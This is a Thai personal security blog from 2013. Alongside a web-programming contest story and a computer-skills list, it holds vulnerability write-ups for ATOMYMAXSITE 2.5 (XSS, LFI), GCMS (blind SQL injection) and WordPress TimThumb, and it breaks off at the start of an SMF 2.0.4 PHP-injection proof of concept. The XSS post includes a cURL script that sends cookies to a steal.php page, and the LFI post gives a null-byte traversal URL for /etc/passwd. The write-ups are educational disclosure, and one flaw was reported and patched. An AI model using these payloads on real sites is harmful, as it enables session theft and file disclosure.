หน้าเว็บ

วันจันทร์ที่ 25 พฤศจิกายน พ.ศ. 2556

My first web programming competition and I won. :)

          วันนี้ (20/11/2556) ได้มีโอกาสไปแข่งพัฒนาเว็บแอพพลิเคชั่นกับเต้ยมาครับที่มหาวิทยาลัยราชภัฏกาญจนบุรี เป็นการแข่งขันทักษะทางวิชาการ ออกเดินทางประมาณ 8.00 น. ไปถึงประมาณ 9.00 น. ไปถึงก็เข้าร่วมพิธีเปิดงานครับ จากนั้นก็แยกย้ายไปแข่งขันตามทักษะของตัวเอง...

          ผมและเพื่อนเข้ามาที่ห้องแข่งขันครับ เวลาประมาณ 9.30 น. กรรมการก็ให้ตั้งค่าเครื่องให้พร้อมใช้งานโดยมี user pass ของ ftp/phpmyadmin มาให้ในการเข้าไปจัดการ web server/database เริ่มแข่งขันตอน 10.00 น.ครับ เวลาแข่งขันประมาณ 3 ชั่วโมงก็จะไปแล้วเสร็จตอน 13.00 น. 

          เมื่อเริ่มประกาศเริ่มแข่งขันมีอยู่ 8 ทีมจาก 4 ราชภัฏ ผมอยู่ทีม นครปฐมทีม 1 ก็ได้รับโจทย์มา (โจทย์เหมือนกันทุกทีม) โจทย์เป็น output ที่กรรมการต้องการคือ การรายงานผลการแข่งขันกีฬาแต่ละประเภท โดยมีวันที่ คู่ที่ เวลา สถาบัน สาย รายการแข่ง/สนาม ประเภท ผล หมายเหตุ.. ซึ่งให้ออกแบบ database กันเองและเขียนระบบกันเองโดยไม่ใช้เครื่องมือใดๆ (โค้ดสดๆ) ข้อตกลงคือเอาหนังสือเข้าได้ทีมผมเอาเข้าไป 2 เล่ม แต่ผมไม่ได้เปิดอ่านเลย ไม่มีเวลาดู -.-

          ปัญหาที่เจอครั้งแรกคือตั้งค่า site ใน dreamweaver ครับตั้งค่าให้เชื่อมต่อ ftp ไม่ใช่ปัญหา เพราะผมเคยใช้อยู่ แต่เชื่อมต่อแล้วไฟล์ไม่ยอมรันให้ ผมเลยเข้าทาง filezilla ไปดูสรุปว่าสิทธิ์ของไฟล์ไม่สามารถใช้งานได้ผมจึง chmod 777 ตอนนี้เต้ยก็ได้ทำการออกแบบฐานข้อมูลทีมเราทำเป็น 4 table ครับโดยใช้การ relation กันด้วย pk,fk ของแต่ละ table เวลา query ก็ใช้ inner join 4 table #แอบงงตอน query เพราะชื่อคอลัมภ์ จากนั้นเต้ยก็ทำฟอร์มรับข้อมูล แก้ไขข้อมูล และดูข้อมูล และทำการออกแบบ logo,template ส่วนผมนั่งเขียนโค้ดระบบทั้งหมด

         เนื่องจากเวลาในการตั้งค่า server ล่วงเลยมานานพอสมควรเพราะไม่ใช่แค่ทีมผมที่มีปัญหาแต่เป็นกันทั้งห้องแข่งขันกรรมการจึงเลื่อนเวลาไปอีก 1 ชั่วโมงเป็น 14.00 น. ตอนแข่งหิวข้าวมากครับ ท้องก็ปวดเวรกรรมจริงๆ 55 จากนั้นก็ทำไปเรื่อยๆก็ปรึกษากันไปมาเวลาเหลือ 1 ชั่วโมงสุดท้าย template ยังออกแบบไม่เสร็จโค้ดผมก็ยังปั่นอยู่ (คีย์บอร์ดนุ่มมากพิมพ์สัมผัสมันส์มือดีครับ) ผ่านไปจนเหลือครึ่งชั่วโมงสุดท้ายจึงได้ใส่ template กันแล้วก็ค้นหาบักที่ส่วนไหนไม่ประมวลผล เจอกับอีก 1 ปัญหาคือบันทึกไฟล์แล้ว dreamweaver ไม่ยอมอัพเดทใน web server ให้อัตโนมัติ.. จึงต้องเข้าไป edit ผ่านทาง filezilla แทนซึ่งเสียเวลามากกว่าเดิม

          หมดเวลา กรรมการบอกว่าให้ลงไปทานข้าวกันก่อน ตอนนั้นผมและเต้ยหมดหวังแล้วเพราะระบบก็ไม่สมบูรณ์ เต้ยเขียน css ไว้ผมก็ไม่ได้เรียกใช้ (โค้ดไม่ทัน) มัวแต่ดูระบบหลักๆ ให้ทำงานได้ตาม output.. เราสองคนจึงถอดใจว่าคงกินแห้วอยู่ดี เพราะทำก็ไม่เสร็จดี ดีไซน์ก็แพ้ทีมอื่นแน่นอน (ทีมอืนออกแบบ header สวยมาก T0T)

         ถึงเวลาที่จะต้องตรวจและให้คะแนนของแต่ละทีมก็โดน comment ไปหลายจุดในเรื่องของการออกแบบรูปภาพและระบบที่ไม่สมบูรณ์บางส่วน ส่วนเรื่องการออกแบบ database ทีมเราก็อธิบายให้กรรมการฟังว่าที่มี 4 table นั้นเรา relation กันอย่างไรบ้างมี pk,fk ของตารางไหนสัมพันธ์กับตารางไหน อย่างไร เปิดโค้ดให้ดูว่าเขียนเองทังหมด มีการใช้ inner join เพื่อดึงข้อมูลจากหลายคอลัมภ์ที่สัมพันธ์กัน.. การตรวจและให้คะแนนผ่านพ้นไป ผมหมดหวังแล้ว ดูตรวจทีมอืนแล้วเว็บเขาสวยจัง -0-

          เมื่อมาถึงเวลาประกาศคะแนนทีมเราก็นั่งคุยกันปกติ รอลุ้นยิ่งกว่าก่อนแข่งตื่นเต้นครับ เพราะเราคงไม่ได้หรอก บอกกับตัวเองว่าทำดีที่สุดแล้วแต่พอถึงเวลาประกาศผล อันดับที่ 1 นครปฐมทีม 1 ผมอึ่งมากตอนนั้นตื่นเต้นมาก สิ่งที่คิดว่าทำให้ได้ที่ 1 คงเป็นที่ระบบที่ค่อนข้างสมบูรณ์ที่สุดใน 8 ทีม (เพราะมีบางทีมที่ gen code จาก dreamweaver เลยแต่ผมเขียนเองหมด)  มีบางส่วนที่ output ไม่ตรงและฐานข้อมูลที่มี relation กันเพราะบางมหาวิทยาลัยใช้ table เดียวเน้นสวยงาม

          ไปแข่งครั้งนี้ได้ประสบการณ์มากมาย ขอบคุณอาจารย์สมเกียรติ ช่อเหมือนมากครับที่เป็น trainer ให้ในช่วงเวลาก่อนไปแข่งที่ผ่านมา ได้รู้เทคนิคที่ไม่เคยรู้มาก่อน ขอบคุณครับ ^^










วันอังคารที่ 24 กันยายน พ.ศ. 2556

ช่องโหว่ Reflected XSS ใน ATOMYMAXSITE 2.5

       

          สวัสดีครับทุกท่อน เมื่อเดือนที่แล้วผมได้ค้นพบช่องโหว่ LFI ใน ATOMYMAXSITE 2.5 ดังที่เขียนไว้เป็นบทความตามลิงค์นี้ LFI in Maxsite แล้วเมื่อคืนวานผมได้พบช่องโหว่ Reflected XSS อีกใน CMS ตัวนี้จึงคิดว่ามาชำแหละเป็นบทความเพื่อการศึกษาดีกว่า
          ช่องโหว่นี้เป็น Reflected XSS ครับ Reflected XSS คือช่องโหว่ที่สามารถแสดง HTML/JavaScript ออกมาทันที่เมื่อมีการ Input เข้าไป ต่างกับ Stored XSS ซึ่งมีการ Stored ลง Database แล้วต้องดึงขึ้นมาโชว์ ยกตัวอย่าง Reflected XSS อย่างง่ายคือ Input ทาง URL/ช่องค้นหา แล้วผลจะออกมาทาง Browser โดยตรง ช่องโหว่ของ Maxsite นี้เกิดจากส่วนของการ Show IP ผู้ใช้ครับตามรูปนี้

          ซึ่งในส่วนนี้จะแสดงที่หน้าแรกของเว็บครับ keyword ที่ได้คือ IP ของท่านคือ ผมเลยนำไปค้นใน source code พบว่าถูก define (ประกาศค่าคงที่) ไว้ในไฟล์ /lang/thai_utf8.php ดังโค้ดด้านล่าง
define("_COUNT_ONLINE_IP","IP ของท่านคือ");

          จะเห็นได้ว่าถูก define ด้วยค่า _COUNT_ONLINE_IP ผมเลยตามไปดูใน source code อีกครั้งพบอยู่ที่ไฟล์ /modules/block/counter.php ดังโค้ดด้านล่าง
<td width="<?=$widthSUM;?>" height="20" colspan=2 align=center colspan="2"><b><?=_COUNT_ONLINE_IP;?> <b><font color="#0066FF"><?=$IPADDRESS ?></font>

          มีการแสดงค่าของตัวแปร $IPADDRESS มีการเรียกใช้ฟังก์ชั่น get_real_ip() จากบรรทัดที่ 31 ของไฟล์ counter.php ผมก็ตามไปดูว่ามาจากไหนจึงพบว่าอยู่ในไฟล์ /includes/function.inc.php ไปดูโค้ดของฟังก์ชั่นนี้กันครับ :)

function get_real_ip(){
 $ip = false;
 if(!empty($_SERVER['HTTP_CLIENT_IP'])){
  $ip = $_SERVER['HTTP_CLIENT_IP'];
 }
 if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
  $ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
  if($ip){
   array_unshift($ips, $ip);
   $ip = false;
  }
  for($i = 0; $i < count($ips); $i++){
   if(!preg_match("/^(10|172\.16|192\.168)\./i", $ips[$i])){
    if(version_compare(phpversion(), "5.0.0", ">=")){
     if(ip2long($ips[$i]) != false){
      $ip = $ips[$i];
      break;
     }
    }else{
     if(ip2long($ips[$i]) != - 1){
      $ip = $ips[$i];
      break;
     }
    }
   }
  }
 }
 return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}

          จากบรรทัดที่ 353,354 หมายความว่าถ้าค่า $_SERVER['HTTP_CLIENT_IP'] ไม่ว่างหมายถึงมีค่า ตัวแปร $ip จะเท่ากับค่าของ $_SERVER['HTTP_CLIENT_IP'] แล้ว return ค่า $ip กลับไปครับ ผมจึงลองปลอม Header ด้วย Live HTTP Headers กับ Firefox โดยการเพิ่ม CLIENT_IP: Hacked By ICheer_No0M ซึ่งผลที่ได้ก็ตามรูปครับ


          อธิบายเรื่อง HTTP Header กันสักหน่อยคือการ Custom Header แบบนี้เป็นการสร้าง Header ขึ้นมายกตัวอย่างในโค้ด PHP มีโค้ดว่า echo $_SERVER['HTTP_HACKED']; แล้ว Client ส่ง Header ไปว่า HACKED: ICheer_No0M ผลลัพธ์ก็คือเว็บจะแสดงคำว่า ICheer_No0M ครับ ไม่งงกันนะครับ LoL
          กลับเข้าเรื่องดีกว่าจะเห็นว่า IP ของท่านคือ Hacked By ICheer_No0M แล้วถ้าผมไม่ใส่ประโยคนี้แต่ใส่เป็น HTML/Javascript ล่ะครับ ? ซึ่งผลลัพธ์ที่ได้คือ


          จากที่จะแสดง IP กลับกลายมาเป็น Alert ค่า Cookie/Session ลองจินตนาการต่อดูถ้าผมไม่ใส่แค่ Alert แต่เขียนให้ส่งไปหาไฟล์อื่นพร้อมค่า Cookie/Session ค่า Cookie/Session ของผู้ที่คลิกหรือ Admin ก็จะถูกขโมยไปพร้อมทั้งอาจโดนปลอมเป็น Admin เพื่อเข้าสู่ระบบได้ ยกตัวอย่างโค้ดที่ใช้โจมตีผมเลือกใช้ cURL นะครับเพราะ Custom Header ได้ :)
<?php
 
$ch =
curl_init("http://localhost/atomymaxsite/");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0',
 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 'Accept-Language: th-th,th;q=0.8,en-us;q=0.6,en-gb;q=0.4,en;q=0.2',
 'Accept-Encoding: gzip, deflate',
 'Connection: keep-alive',
 'Cache-Control: max-age=0',
 'CLIENT_IP: <script>location.href = "http://localhost/labhack/steal.php?cookies="+document.cookie;</script>'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_exec($ch);
curl_close($ch);
header('Location: http://www.google.com');

?>

          เหตุการณ์สมมุติ ถ้าเราส่งโค้ดนี้ไปทางข้อความให้ Admin เว็บ แล้ว Admin เกิดคลิกเข้าไป เราก็จะได้ Cookie/Session ของ Admin คนนั้นมาได้จากการที่เราเขียนสคริปรอรับไว้ในไฟล์ steal.php ครับ
          จบการอธิบายช่องโหว่ Reflected XSS ใน ATOMYMAXSITE 2.5 :)

          ปล. เพื่อการศึกษานะครับ ,, ICheer_No0M

วันจันทร์ที่ 16 กันยายน พ.ศ. 2556

ช่องโหว่ Blind SQL Injection ใน GCMS


          สวัสดีครับ เนื่องจากวันนี้ว่างหรือไรไม่รู้เลยนั่งหาช่องโหว่จาก CMS ที่พัฒนาโดยคนไทย หลังจากที่โพสถามเพื่อนใน facebook ว่ามี CMS ไหนที่พัฒนาโดยคนไทยและใช้กันเยอะๆบ้าง LoL
          เข้าเรื่องเลยดีกว่า ช่องโหว่นี้คือช่องโหว่ Injection ที่มาเป็นอันดับ 1 ใน Top 10 ของ OWASP 2013 นั่นคือ Blind SQL Injection ครับพบในไฟล์ print.php บรรทัดที่  6-11
 // โมดูลที่ต้องการ
$module = $_GET['module'];
 // ตรวจสอบโมดูลที่เรียก
$sql = "SELECT `id`,`module`,`owner`,`config`";
$sql .= " FROM `".DB_MODULES."` AS M";
$sql .= " WHERE `module`='$module'";
$sql .= " LIMIT 1";
          ซึ่งมีการรับค่า $_GET['module']; มาจาก User มารวมกับคำสั่ง SQL ในตัวแปร $sql จึงสามารถเกิดช่องโหว่ที่ดูข้อมูลส่วนอื่นของฐานข้อมูลได้ ซึ่งการ Query เกิดจากบรรทัดที่ 14 ครับ
$modules = $db->customQuery($sql);
          ตามไปดูฟังก์ชั่น customQuery ในคลาส class.mysql.php ที่อยู่ใน /bin กันครับ
public function customQuery($sql) {
 $recArr = array();
 $query = @mysql_query($sql, $this->dbconnection);
 if ($query == false) {
  $this->debug("customQuery($sql)");
 } else {
  $_SESSION[$this->time]++;
  while ($row = mysql_fetch_array($query, MYSQL_ASSOC)) {
   $recArr[] = $row;
  }
  mysql_free_result($query);
 }
 return $recArr;
}
          การโจมตีจะเกิดขึ้นก็ต่อเมื่อมีการ Request คำสั่งที่มี  Malicious SQL Code ไปที่ URL นี้ครับ
http://localhost/gcms/print.php?module=[BSQLI]
          สังเกตบรรทัดที่ 310 จะมีการ Query คำสั่งในตัวแปร $sql ด้วยฟังก์ชั่น mysql_query ครับและมีการ return ค่าผลลัพธ์จากการ Query ที่บรรทัด 315 ด้วยฟังก์ชั่น mysql_fetch_array ครับ
          ผมได้รายงานไปทางผู้พัฒนา gcms แล้วได้รับคำขอบคุณกลับมาและผู้พัฒนาได้ทำการประกาศ patch แล้วครับตามลิงค์นี้ แจ้งข้อผิดพลาด สำหรับ GCMS
          ซึ่งได้รับการป้องกัน Blind SQL Injection ด้วยการใช้ Regular Expression ในการกรอง Input ครับ
if (preg_match('/^[a-z]+$/', $module)) {
  // ตรวจสอบโมดูลที่เรียก
 $sql = "SELECT `id`,`module`,`owner`,`config`";
 $sql .= " FROM `".DB_MODULES."` AS M";
 $sql .= " WHERE `module`='$module'";
 $sql .= " LIMIT 1";
 $modules = $cache->get($sql);
 if (!$modules) {
  $modules = $db->customQuery($sql);
  $cache->save($sql, $modules);
 }
         *ล่าสุดเจอช่องโหว่เดียวกันในไฟล์ feed.php ตั้งแต่บรรทัดที่ 7 เป็นต้นไป (21:58 น.)
$module = $_REQUEST['module'];
 // จำนวนที่ต้องการ ถ้าไม่กำหนด คืนค่า 10 รายการ
 $count = (int)$_GET['rows'] * (int)$_GET['cols'];
 $count = $count == 0 ? (int)$_GET['count'] : $count;
 $count = $count <= 0 ? 10 : $count;
 // วันที่วันนี้
 $cdate = date("D, d M Y H:i:s +0700", $mmktime);
 $today = date('Y-m-d', $mmktime);
 // ตรวจสอบโมดูลที่เรียก
 $sql = "SELECT M.`id`,M.`module`,M.`owner`,D.`topic`,D.`description`,M.`config`";
 $sql .= " FROM `".DB_INDEX."` AS I";
 $sql .= " INNER JOIN `".DB_MODULES."` AS M ON M.`id`=I.`module_id` AND M.`module`='$module'";
 $sql .= " INNER JOIN `".DB_INDEX_DETAIL."` AS D ON D.`id`=I.`id` AND D.`module_id`=I.`module_id` AND D.`language` IN ('".LANGUAGE."','')";
 $sql .= " WHERE I.`module_id`=M.`id` AND I.`index`='1' AND I.`language` IN ('".LANGUAGE."','')";
 $sql .= " AND I.`published`='1' AND I.`published_date`<='$today'";
 $sql .= " LIMIT 1";
 $modules = $db->customQuery($sql);
          สำหรับผู้ที่ใช้ GCMS อย่าลืม Patch ด้วยนะครับ ^^,, ICheer_No0M

วันพุธที่ 14 สิงหาคม พ.ศ. 2556

ช่องโหว่ Local File Inclusion ใน ATOMYMAXSITE 2.5


          สวัสดีครับเข้าเรื่องเลยดีกว่า.. เนื่องจากวันแม่ที่ผ่านมากลับบ้าน ว่าง เลยนั่งอ่านโค้ดของ maxsite 2.5 แล้วไปเจอโค้ดในไฟล์ index.php ในการเรียก template ที่โค้ด
// Calling TEMPLATE
require_once( 'templates/'.WEB_TEMPLATES.'/index.php' );
          เมื่อตามไปดูที่ไฟล์ index.php ของ template สมมุติว่าเป็น default template แล้วกันครับที่ path นี้ /templates/atomy/index.php จะเห็นว่ามีการใช้ฟังก์ชั่น require_once ซึ่งเป็นฟังก์ชั่นแนวเดียวกับ include อยู่ที่บรรทัดที่ 327
<?} else {
OpenTable();
require_once ("".$MODPATHFILE."");
 CloseTable();
} ?>
          เมื่อมีการเรียกใช้ $MODPATHFILE เรามาหาที่มาของตัวแปรนี้ แล้วก็มาเจอที่ไฟล์ /mainfile.php ที่ document root ครับซึ่งถูกเรียกใช้โดย index.php อยู่ในฟังก์ชัน GETMODULE ครับ มาดูฟังก์ชั่น GETMODULE ในไฟล์ mainfile.php กันครับ
function GETMODULE($name,$file){
    global $MODPATH, $MODPATHFILE ;
    if(!$name){$name= "index";}
    if(!$file){$file = "index";}
    $modpathfile="modules/".$name."/".$file.".php";
    if(file_exists($modpathfile)){
 $MODPATHFILE = $modpathfile;
 $MODPATH = "modules/".$name."/";
    }else{
 die (""._NO_MOD."");
    }
}
          มาดูโค้ดที่เรียกใช้ฟังก์ชั่น GETMODULE ในไฟล์ index.php กันครับ
GETMODULE($name,$file);
          ซึ่งค่าที่ส่งเข้าฟังก์ชั่น GETMODULE มีการรับมาจาก User ทาง GET Method จะทำให้เข้าเงื่อนไขคือ ตัวแปร $name จะเท่ากับค่าว่างถ้าไม่มีการ GET มาที่ parameter name ซึ่งตัวแปร $file ก็เช่นกันครับ
empty($_GET['name'])?$name="":$name=$_GET['name'];
empty($_GET['file'])?$file="":$file=$_GET['file'];
          เมื่อเข้าไปในฟังก์ชั่น GETMODULE จากบรรทัดที่ 28-29 จะเห็นว่าถ้าตัวแปร $name และ $file ไม่มีค่าจะเท่ากับ index ทั้งคู่แล้วมาอยู่ในตัวแปร $modpathfile โดยมี .php ปิดท้ายครับแต่เมื่อมีการ GET มาที่ parameter name จะกลายเป็นเข้าไปในโฟลเดอร์ของแต่ละ module แล้วระบุไฟล์ที่จะใช้งานโดยการ GET มาที่ parameter file ครับตัวอย่าง
http://localhost/maxsite/index.php?name=knowledge&file=readknowledge&id=2
          จะหมายความว่าเข้าไปที่โฟลเดอร์ knowledge ในโฟลเดอร์ modules ส่งค่า id=2 ไปที่ไฟล์ readknowledge.php ครับ (สังเกตุจากฟังก์ชั่น GETMODULE บรรทัดที่ 30)


          เมื่อได้ข้อสรุปมาแบบนี้แสดงว่า parameter name นั้นก็คือใส่ path เราก็ใช้เทคนิคย้อน path ไปโดย ../../../.. ไปเรื่อยๆ ส่วน parameter file ก็ใส่ไฟล์ที่เราต้องการจะ include ยกตัวอย่าง etc/passwd แต่ในกรณีนี้มีการระบุนามสกุลของไฟล์ชัดเจนว่าเป็น .php สังเกตจากฟังก์ชั่น GETMODULE บรรทัดที่ 30
$modpathfile="modules/".$name."/".$file.".php";
 if(file_exists($modpathfile)){
 $MODPATHFILE = $modpathfile;
          เมื่อเข้าเงื่อนไข if หมายความว่าถ้าไฟล์ที่จะ require_once นั้นมีจริงให้ตัวแปร $MODPATHFILE เท่ากับตัวแปร $modpathfile ดังกล่าว ถึงตอนนี้ก็ต้องใช้เทคนิค Null Byte ในการ Bypass ตัด .php ด้านหลังออกไปก็จะได้เป็น etc/passwd แต่เทคนิค Null Byte นี้จะต้องใช้กับ Linux Web Server และ PHP < 5.3.4 เท่านั้นครับสำหรับ URL ที่จะใช้ดึง etc/passwd ของ Web Server มาดูก็คือ
http://localhost/maxsite/index.php?name=../../../../..&file=etc/passwd
          ผลลัพธ์ที่ได้...


เรียบร้อยครับ,, ICheer_No0M
ปล. เพื่อการศึกษานะครับ :)

วันพฤหัสบดีที่ 8 สิงหาคม พ.ศ. 2556

In-Depth Analysis: Wordpress Timthumb.php



          สวัสดีครับ วันนี้เนื่องจากว่างหรือเปล่าไม่รู้เลยหาบัคเก่าๆหาอ่านเล่นๆ ไปเจอบัคในตำนานของ Wordpress นั่นคือ TimThumb.php ที่สามารถทำ Remote Code Execution ได้ครับ
          อย่ากระนั้นเลย เกิดความสงสัยว่าทำไมถึงได้มีช่องโหว่ RCE ได้ที่เห็นตามเว็บว่าเจ้า TimThumb.php นี้เจอเยอะใน Plugin/Theme ต่างๆของ Wordpress ผมจึงตามหาไฟล์ที่บัคเพื่อดูและวิเคราะห์โค้ดอย่างละเอียดจึงได้คำตอบมาเขียนได้อีก Topic หนึ่ง ._.
          เริ่มกันเลยดีกว่า TimThumb เป็น Plugin ในการย่อขยายรูปภาพอัตโนมัติ โดยที่ว่าเมื่อ User ทำการ Request ไปที่ Path includes/timthumb.php?src=[path ของรูปภาพ] แล้ว timthumb.php จะทำการสร้างรูปใหม่และไฟล์ cache ไว้ที่ cache/externel_[md5 ของลิงค์ src].php จากที่ดูตอนนี้น่าจะแก้หมดแล้ว ซึ่งบรรทัดที่ทำการรับค่า GET src มาก็คือบรรทัดที่ 40 เก็บไว้ในตัวแปร $src ครับ

$src = get_request ('src', '');

ตัวแปรที่เก็บชื่อไฟล์ที่ถูกสร้างใน cache อยู่ที่บรรทัด 602

$filename = 'external_' . md5 ($src);

ตัวแปรที่เก็บค่าไฟล์และที่อยู่ของไฟล์อยู่ที่บรรทัด 603

$local_filepath = DIRECTORY_CACHE . '/' . $filename . '.' . strtolower ($fileDetails['extension']);

          ส่วนโค้ดที่ใช้เขียนไฟล์ลง cache อยู่ที่บรรทัด 647 เป็นต้นไปครับ โดยมีการเช็คว่ามีฟังก์ชั่น curl_init ทำงานอยู่หรือเปล่าถ้ามีให้ทำงานตั้งแต่ 647 - 673

if (function_exists ('curl_init')) {

 global $fh;

 $fh = fopen ($local_filepath, 'w');
 $ch = curl_init ($src);

 curl_setopt ($ch, CURLOPT_TIMEOUT, CURL_TIMEOUT);
 curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0');
 curl_setopt ($ch, CURLOPT_URL, $src);
 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt ($ch, CURLOPT_HEADER, 0);
 curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 curl_setopt ($ch, CURLOPT_FILE, $fh);
 curl_setopt ($ch, CURLOPT_WRITEFUNCTION, 'curl_write');

 // error so die
 if (curl_exec ($ch) === FALSE) {
  unlink ($local_filepath);
  touch ($local_filepath);
  display_error ('error reading file ' . $src . ' from remote host: ' . curl_error ($ch));
  }

 curl_close ($ch);
 fclose ($fh);
}

จากบรรทัดที่ 651 มีการเปิดไฟล์ cache ที่จะเขียนด้วยฟังก์ชั่น fopen

$fh = fopen ($local_filepath, 'w');

แล้วใช้ curl ในการ Request ไปหาเว็บเป้าหมายที่มีโค้ดของ php shell ฝังอยู่

curl_setopt ($ch, CURLOPT_URL, $src);

จากนั้นถูกระบุไฟล์ที่จะถูกเขียนตัวแปร $local_filepath ด้วย CURLOPT_FILE ซึ่งเป็น Option ของ cURL นั่นเอง

curl_setopt ($ch, CURLOPT_FILE, $fh);
//The file that the transfer should be written to. The default is STDOUT (the browser window).

บรรทัดต่อมาส่งข้อมูลที่จะเขียนลงไปในฟังก์ชั่น curl_write ที่ทำหน้าที่เขียนไฟล์ดังกล่าวด้วย CURLOPT_WRITEFUNCTION ครับ

curl_setopt ($ch, CURLOPT_WRITEFUNCTION, 'curl_write');
//The internal CURLOPT_WRITEFUNCTION will write the data to the FILE * given with this option, or to stdout if this option hasn't been set.

มาดูฟังก์ชั่น curl_write กันครับ :)

function curl_write ($handle, $data) {

 global $external_data_string, $fh;

 fwrite ($fh, $data);
 $external_data_string .= $data;

 if (strlen ($external_data_string) > MAX_FILE_SIZE) {
  return 0;
 } else {
  return strlen ($data);
 }

}

จะเห็นว่ามีการใช้ fwrite ซึ่งเป็นฟังก์ชั่นเขียนไฟล์ของ php ครับ

fwrite ($fh, $data);

          แต่ถ้าออกนอกเงื่อนไขซึ่งไม่มี curl_init จะทำคำสั่งด้านหลัง else คือเขียนไฟล์ด้วยฟังก์ชั่น file_put_contents

} else {

 if (!$img = file_get_contents ($src)) {
  display_error ('remote file for ' . $src . ' can not be accessed. It is likely that the file permissions are restricted');
 }

 if (file_put_contents ($local_filepath, $img) == FALSE) {
  display_error ('error writing temporary file');
 }

}

          ซึ่งจากโค้ดคือการอ่านไฟล์จาก URL ในตัวแปร $src มาเก็บไว้ในตัวแปร $img แล้วทำการเขียนลงใน Path ที่อยู่ในตัวแปร $local_filepath ด้วยฟังก์ชั่น file_put_contents ครับ
          แต่ช่องโหว่นี้ต้อง GET Request ลิงค์ที่มี malicious code ฝังอยู่แต่เนื้อหาด้านในต้องเป็นรูปภาพเพราะ Timthumb เป็น Plugin ที่ใช้ย่อขนาดของรูปภาพ จบการชำแหละครับ ส่วนวิธีการป้องกันก็ Update ให้เป็น Version ใหม่ครับ,, ICheer_No0M

Ref : timthumb.php 1.27
Ref : Multiple Wordpress Plugin timthumb.php Vulnerabilites
Ref : TimThumb Demo: Part 2 – Images on External Websites

วันพุธที่ 10 กรกฎาคม พ.ศ. 2556

สิ่งที่คนเรียนสายคอมพิวเตอร์ควรรู้

       

          บทความนี้จะกล่าวถึงความรู้เบื้องต้นทั่วไปเกี่ยวกับสิ่งที่คนเรียนสายคอมพิวเตอร์ควรรู้ หรือมีความสามารถครับ

          1. ประกอบเครื่องคอมพิวเตอร์ การประกอบเครื่องคอมพิวเตอร์เป็นพื้นฐานมากสำหรับคนที่เรียนคอมพิวเตอร์ทุกคนต้องมีความรู้ รู้และเข้าใจว่า อุปกรณ์คอมพิวเตอร์มีอะไรบ้าง อุปกรณ์แต่ละชิ้นทำงานอย่างไรเป็นต้น

          2. แก้ไขปัญหาคอมพิวเตอร์เบื้องต้น ไม่ว่าจะเป็นการซ่อมบำรุงรักษา อาการที่อาจจะเกิดกับคอมพิวเตอร์ของเรา ควรได้รับการวิเคราะห์และแก้ไขอย่างถูกต้อง เช่นคอมช้าเกิดจากอะไร เปิดคอมไม่ติดเกิดจากสาเหตุอะไรได้บ้างเป็นต้น

          3. ติดตั้งระบบปฏิบัติการ ในปัจจุบันมีระบบปฏิบัติการไม่กี่ค่ายที่ใช้กันอย่างกว้างขวางที่เห็นบ่อยสุดก็ Windows (หรือ Linux) ซึ่งควรศึกษาการติดตั้งไว้ ในแต่ละขั้นตอนมีวิธีสอนใน google ทั้งสิ้น ดีเสียกว่าเวลาเครื่องมีปัญหาแล้วไปเสียค่าติดตั้ง 300 บาท

          4. ติดตั้งไดร์ฟเวอร์ของอุปกรณ์ต่างๆ ไดร์ฟเวอร์เป็นโปรแกรมเล็กๆที่มีหน้าที่ทำให้อุปกรณ์คอมพิวเตอร์ทำงานร่วมกันได้อย่างมีประสิทธิภาพมากที่สุด ทำงานอยู่ระหว่าง Hardware และ Operating System ยกตัวอย่างการลงไดร์ฟเวอร์เครื่องพิมพ์ให้สามารถใช้งานร่วมกับคอมพิวเตอร์ของเราได้เป็นต้น

          5. ติดตั้งโปรแกรม ไม่ว่าจะเป็นการติดตั้งจากไฟล์ setup.exe การติดตั้งแบบ online installer หรือการติดตั้งด้วยการ mount image iso ก่อนที่จะติดตั้ง รู้และเข้าใจลำดับขั้นตอนของการลงโปรแกรมต่างๆ และสามารถถอนการติดตั้งโปรแกรมออกได้ด้วยตัวเองเป็นต้น

          6. ติดตั้ง Font ใหม่ ในอดีต font ที่นิยมใช้ในงานเอกสารมากที่สุดเห็นจะเป็น Angsana New แต่ในปัจจุบันมีการใช้ font ที่เป็นของ SIPA ชื่อ TH SarabunPSK ดังนั้นควรจะรู้และเข้าใจในการติดตั้ง font ใหม่ลงไปในระบบปฏิบัติการเป็นต้น

          7. แก้ไขปัญหาไวรัส ปัญหาไวรัสเป็นปัญหาคู่กับคนเรียนสายคอมฯเลยก็ว่าได้ คนเรียนสายนี้ควรจะมีความรู้เบื้องต้นในการจัดการกับไวรัสและแก้ไขปัญหาที่เกิดจากไวรัส รู้และเข้าใจวิธีแก้หากระบบโดนไวรัสเล่นงาน

วันศุกร์ที่ 24 พฤษภาคม พ.ศ. 2556

In-Depth Analysis: SMF 2.0.4 PHP Code Injection

          สวัสดีครับ ห่างหายจากการเขียน Blog ไปนานเนื่องจากไปบวชทดแทนพระคุณพ่อแม่ครับเป็นเวลา 1 เดือน 3 วันที่วัดทองประดิษฐ์ :)
          เข้าเรื่องเลยคือช่วงระหว่างผมบวชทาง SMF ( Simple Machine Forum ) ซึ่งเป็น CMS Opensource ที่ใช้สร้างเว็บบอร์ดชื่อดังตัวนึง เกิดมีบัค PHP Code Injection ตอนนี้ก็ไม่ใช่บัคใหม่อะไรแล้วนะ ซึ่งบัคแบบนี้ถ้าไม่พูดถึงเรื่อง Admin Priv ผมคิดว่ามันเป็นบัคระดับ Critical เลยนะ มันน่าสนใจตรงที่ SMF 2.0.4 นี้ไม่ได้รั่วที่ Theme หรือ Plugin แต่รั่วที่ Core เลยซึ่งก็คือระบบหลักของตัว SMF 2.0.4 เอง
<?php

// proof of concept that latest SMF (2.0.4) can be exploited by php injection.

// payload code must escape from \', so you should try with something like that:
// p0c\';phpinfo();// as a 'dictionary' value. Same story for locale parameter.
// For character_set - another story, as far as I remember, because here we have
// a nice stored xss. ;)

// 21/04/2013 
// http://HauntIT.blogspot.com

// to successfully exploit smf 2.0.4 we need correct admin's cookie:
